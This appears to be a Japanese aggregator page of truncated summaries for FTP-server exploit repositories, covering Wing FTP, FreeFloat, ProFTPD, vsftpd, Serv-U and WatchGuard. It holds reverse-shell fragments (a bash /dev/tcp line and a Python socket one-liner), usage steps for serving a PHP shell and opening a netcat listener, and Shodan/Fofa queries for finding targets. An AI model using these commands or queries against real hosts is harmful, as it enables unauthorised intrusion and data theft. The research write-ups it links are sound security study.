CVE-2025-47812

CVE-2025-47812 不適切な入力検証により、リモートコード実行からシステム全体の侵害に至る 📘 はじめに: RCE SecurityのJulien Ahrens氏が、WingFTPに影響を与える重大なセキュリティ脆弱性を発見しました。CVE-2025-47812として追跡されるこの脆弱性のCVSSスコアは10です。この脆弱性が悪用されると、リモートの未認証の攻撃者が任意のコードを実行し、システム全体が侵害される可能性があります。 Wing FTP...

Brosec

概要 tl;dr Brosecは、端末ベースのリファレンスユーティリティで、情報セキュリティ関係者（ブロス＆ブロッテス）が実務中によく使用する便利で（時には複雑な）ペイロードやコマンドを支援するために設計されています。Brosecの最も人気のあるユースケースの一つは、Python、Perl、PowerShellなどのリバースシェルをその場で生成し、クリップボードにコピーする機能です。 ユーザーが必要な変数を設定していることを前提として（ウィキの「はじめに」セクションを参照）、awkコマンドを使用したリバースシェルは次のように簡単に生成できます。 asciicast...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 使い方 1. PHPリバースシェルを作成する 2. 同じディレクトリでシェルをホストするサーバーを起動する python3 -m http.server 3. 任意のローカルポートでnetcatリスナーを起動する例: nc -nlvp 任意のポート 4. 以下に示すエクスプロイトの例を実行する python3 modifiedCVE20153306.py --host リモートホスト --port 通常はポート21 --path /var/www または /var/www/html --shell PHPシェルの名前...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE エクスプロイト このリポジトリは CVE-2025-47812 の概念実証エクスプロイトを提供します。これは Wing FTP Server のリモートコマンド実行 RCE 脆弱性です。攻撃者は認証時に username パラメータを悪用して任意の Lua ベースのシステムコマンドを注入・実行し、完全なリモートコード実行を引き起こすことができます。 📌 エクスプロイトの機能 🔧 カスタムシェルコマンドのリモート実行 🧬 複数の内蔵リバースシェルペイロード bash、Python、netcat など 🪪...

CVE-2024-28995

CVE-2024-28995 PoC SolarWinds Serv-U は、ホストマシン上の機密ファイルへの読み取りアクセスを可能にするディレクトリトラバーサル脆弱性の影響を受けていました。 クエリ Shodan: product:"Rhinosoft Serv-U httpd" "Serv-U FTP Server" Fofa: app="SolarWinds-Serv-U-FTP" 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2024-28995...

CVE-2025-5548

CVE-2025-5548 脆弱性の技術調査 はじめに 本稿では、FreeFloat FTP Server v1.0 に存在するスタックバッファオーバーフロー に関連する脆弱性 CVE-2025-5548 を分析する。このラボの主な目的は、脆弱なアプリケーションが操作された入力に対してどのように動作するかを理解し、管理された環境において、検証の欠落がプログラムの実行フローにどのように影響を及ぼすかを観察することである。 このリポジトリの開発は最終結果を示すだけにとどまらず、環境の準備、ツールの選定、障害の観察、メモリ分析、脆弱性の実際の影響の検証といった調査プロセス全体をまとめたものであ...

CVE-2025-47812-Research

CVE-2025-47812 — Wing FTP Server RCE 研究 背景 Akasec クラブ 1337 Khouribga 内で実施されたサイバーセキュリティ観察インターンシップ — 2025年7月/8月。 対象脆弱性 CVE : CVE-2025-47812 CVSS スコア : 10.0 重大 影響を受けるソフトウェア : Wing FTP Server 7.4.4 タイプ : Lua インジェクションによるリモートコード実行 環境 検証は分離・管理された環境 WSL Ubuntu、教育目的のみ で実施されました。 内容 Rapport\stage\vf4.pdf —...

CVE-2025-5548

⚡ CVE-2025-5548: 脆弱性研究とエクスプロイト このリポジトリは、CVE-2025-5548 の技術的分析と概念実証（PoC）のウォークスルーを提供します。この研究は、初期のバイナリ検査からエクスプロイトの成功に至るまで、脆弱性のライフサイクル全体を網羅しています。 ⚠️ 法的・倫理的免責事項 このリポジトリは教育目的のみ です。すべての研究は、管理された隔離されたラボ環境で実施されました。明示的な許可なくシステムに対してこれらの技術を不正に使用することは、違法かつ非倫理的です。 🔍 脆弱性の概要 CVE-2025-5548 は、FreeFloat FTP Server...

dir-3040_dos

dir-3040 サービス拒否 Dir-3060 も、同じファームウェアから多くのコンポーネントを共有しているため、影響を受ける可能性があります。 最新ファームウェア 1.20b03a ホットフィックスでテスト済み FTP サーバーのユーザーアクセスページはデフォルトで、書き込み権限を持つ任意のユーザーが USB ドライブのみに制限する代わりに、RAM に直接書き込めるように構成されています。 この問題に対する最新ファームウェアでは、範囲外やバッファオーバーフローのチェックはありません。 利用可能なメモリを書き込み（埋める）すると、システムがクラッシュして再起動します。...

CVE-2025-47812

CVE-2025-47812 - Wing FTP Server リモートコード実行 RCE =========================================================== 作成者: blindma1den 日付: 2025年7月 エクスプロイト種別: リモートコード実行（認証不要） 対象: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,s...

CVE-2024-4040

CVE-2024-4040 はじめに 最近この脆弱性を見てとても面白いと思い、以下の記事を読んで少しエクスプロイトを書きました。 https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/...

CVE-2025-5548

🛡️ CVE-2025-5548 本作業は、FreeFloat FTP Server ソフトウェアに対する脆弱性CVE-2025-5548 の技術的分析と管理された悪用の完全なプロセスを、専ら教育、研究、および脆弱なバイナリの内部動作の理解を目的として設計されたラボ環境内で文書化したものです。 🎯 作業全体のミッション このプロジェクトの主な目的は、環境の準備から悪用の実践的な検証まで、脆弱性分析の完全なサイクルを体系的かつ理解しやすい方法で研究することです。 より具体的には、この作業は以下を目指します: 脆弱なサービスの全体的な動作を理解する...

CVE-2019-19383

CVE-2019-19383 FreeFTPd 1.0.8 の認証後バッファオーバーフロー（"SIZE"コマンド経由）。このエクスプロイトは、セキュリティ意識向上と公共の利益、教育目的のため、現状のまま公開されています。このコードを犯罪行為に使用しないでください。...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server 未認証 RCE ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║...

hook

Hook Hook は WatchGuard SSH インターフェースのパラメータインジェクションの脆弱性を悪用します。この脆弱性により、低権限ユーザーが任意のシステムファイルを攻撃者が制御する FTP サーバーに流出させることが可能になります。幸い、このスクリプトがデフォルトで使用する status という組み込みの低権限ユーザーが存在します。status ユーザーが readonly というパスワードを使用するのは不合理ではありませんが、必須ではありません。 Hook はユーザーファイル configd-hash.xml...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP Server 1.0 の悪用 プロフェッショナルな脆弱性分析と完全なリモートバッファオーバーフローの悪用 🎯 プロジェクトのハイライト CVE-2025-5548 の完全な実世界ケーススタディ （NOOP コマンドによる FreeFloat FTP Server 1.0 のリモートスタックベースバッファオーバーフロー） 手動ツールインストール ＋自動スクリプト（Windows と Linux） Windows 11 VM 上の完全に文書化されたラボ環境 ステップバイステップの悪用 : ファジング → オフセット → 不良文字...

Exploit_CVE-2025-47812

WingFTPServer7.4.3-UnauthenticatedRCE...

CVE-2025-5548-POC

CVE-2025-5548-POC 脆弱性の説明 CVE-2025-5548 は、Windows システム向けのレガシー FTP サービスである FreeFloat FTP Server で特定されたスタックバッファオーバーフロー型の脆弱性です。この欠陥は NOOP コマンドのハンドラに存在し、スタック上の固定サイズバッファへ入力をコピーする前に、入力サイズの検証を行いません。これにより、リモートの攻撃者が事前認証なしで過大なサイズの文字列を送信し、EIP レジスタを上書きして、任意のコードへ実行フローをリダイレクトすることが可能になります。 タイプ: スタックバッファオーバーフロー...

CVE-2025-5548

脆弱性の悪用と分析 ドキュメントの目的: ラボ環境の展開中に得られた知識を振り返り、CVE-2025-5548の悪用プロセスを詳細に説明し、未知の脆弱性（ゼロデイ）の調査への次のステップを検討します。 1. 脆弱性探索に対する私の見解 このモジュールを通じて、エクスプロイトの開発は外科手術のような精密作業であることを実感しました。自動スキャナーを適当に実行するのではなく、コンピュータが内部でどのように情報を処理するかを理解することが重要です。 実際の作業サイクルは3つの柱に基づいていることを学びました：観察...

CVE-2011-2523

CVE-2011-2523 - vsftpd 2.3.4 エクスプロイト 説明 Very Secure FTP Daemon（vsftpd）は、Linuxを含むUnix系プラットフォーム向けのFTPサーバーです。GNU General Public Licenceの条件の下で配布されています。IPv6とSSLをサポートしています。 2011年7月、マスターサイトからダウンロードできたvsftpdバージョン2.3.4が改竄されていたことが明らかになりました。ハッキングされたvsftpd-2.3.4サーバーにログインするユーザーは、ユーザー名として :...